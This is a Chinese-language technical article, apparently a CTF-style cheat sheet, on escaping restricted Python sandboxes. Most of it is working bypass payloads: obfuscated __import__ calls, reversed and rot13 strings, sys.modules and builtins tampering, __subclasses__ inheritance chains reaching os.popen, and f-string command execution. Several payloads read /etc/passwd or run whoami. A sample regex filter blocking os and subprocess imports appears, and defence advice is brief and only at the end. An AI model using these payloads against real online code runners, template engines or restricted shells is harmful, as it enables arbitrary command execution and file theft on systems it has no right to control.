python沙盒逃逸那些事
字数 948 2025-08-10 23:41:53
Python沙盒逃逸技术详解
一、沙盒逃逸概述
Python沙盒逃逸是指在一个被严格限制的Python执行环境中,通过各种技术手段突破限制,获取更高权限甚至执行系统命令的过程。
关键概念:
- 沙盒:隔离的执行环境,用于限制代码权限
- 逃逸目标:获取执行系统命令的能力(如os.system)、文件读写权限或直接获取shell
二、基础命令执行方法
1. 直接执行系统命令的方式
import os
import subprocess
import commands # 仅限Python 2.x
# 各种执行命令的方法
os.system('ifconfig')
os.popen('ifconfig').read()
commands.getoutput('ifconfig') # 2.x
subprocess.call(['ifconfig'], shell=True)
2. 其他可能执行命令的模块
# 各种可能包含危险函数的模块
timeit.timeit("__import__('os').system('whoami')", number=1)
platform.popen('whoami', mode='r', bufsize=-1).read()
pty.spawn('ls')
三、导入防御绕过技术
1. 基础防御检测
防御者常用正则检测敏感导入:
import re
code = open('code.py').read()
pattern = re.compile('import\s+(os|commands|subprocess|sys)')
if re.search(pattern, code):
raise Exception("Forbidden module import detected")
2. 绕过导入检测的方法
(1) 使用__import__函数
__import__('os').system('ls')
(2) 使用importlib
import importlib
importlib.import_module('os').system('ls')
(3) 直接执行模块文件
# Python 2.x
execfile('/usr/lib/python2.7/os.py')
system('ls')
# Python 2.x/3.x
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
system('ls')
四、字符串处理技巧
1. 编码转换绕过
# ROT13编码
__import__("pbzznaqf".decode('rot_13')).getoutput('ifconfig') # commands模块
# 字符串反转
__import__('so'[::-1]).system('ls')
2. 使用eval/exec执行反转字符串
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
五、sys.modules操作
1. 恢复被删除的模块
import sys
sys.modules['os'] = 'not allowed' # 假设防御者设置
del sys.modules['os'] # 删除后重新导入
import os
os.system('ls')
2. 直接修改sys.modules
sys.modules['os'] = '/usr/lib/python3.9/os.py'
import os
六、函数调用技巧
1. 使用getattr动态获取函数
import os
getattr(os, 'metsys'[::-1])('whoami')
# 无import版本
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
2. 替代system的其他os函数
os.popen('whoami').read()
os.popen2('whoami').read() # 2.x
os.popen3('whoami').read() # 2.x
os.popen4('whoami').read() # 2.x
七、builtins/builtin利用
1. Python 2.x vs 3.x区别
- 2.x:
__builtin__ - 3.x:
builtins
2. 通过builtins获取eval
(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")
(lambda x:1).__globals__['__builtins__'].__dict__['eval']("__import__('os').system('ls')")
3. 恢复被删除的builtins函数
# Python 2.x
reload(__builtins__)
# Python 3.x
import imp
imp.reload(builtins)
八、继承链逃逸技术
1. 通过继承链获取危险类
# 获取object类
''.__class__.__mro__[-1]
# 获取所有子类
''.__class__.__mro__[-1].__subclasses__()
2. 实际利用示例
# 读取文件示例
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
# Python 2.x完整链
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()
九、文件读写技术
1. 文件读取方法
# Python 2.x
file('/etc/passwd').read()
# Python 2.x/3.x
open('/etc/passwd').read()
# 其他方法
types.FileType('/etc/passwd').read()
platform.popen('cat /etc/passwd').read()
linecache.getlines('/etc/passwd')
2. 文件写入+导入技巧
- 先写入恶意代码文件(xx.py)
- 确保文件名不在sys.modules中
- 导入执行
# 检查模块是否已加载
'math' in sys.modules # False表示可以安全使用该名称
十、特殊符号限制绕过
1. 替代方括号[]的方法
# 使用__getitem__和pop代替[]
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59)
2. Python 3.6+的f-string利用
f'{__import__("os").system("whoami")}'
十一、应用场景
- 在线代码执行环境
- Python交互式shell限制环境
- 服务器端模板注入(SSTI)
- 教育类模拟环境
十二、防御建议
- 使用docker等容器技术隔离
- 完整沙箱实现而非简单过滤
- 限制可用模块白名单
- 监控危险函数调用
- 定期更新防护规则
总结
Python沙盒逃逸技术多样,关键在于理解Python的导入机制、对象模型和内置功能。防御者需要全面考虑各种可能的绕过方式,而非依赖简单的字符串过滤。最安全的做法是使用真正的隔离环境而非试图过滤所有危险操作。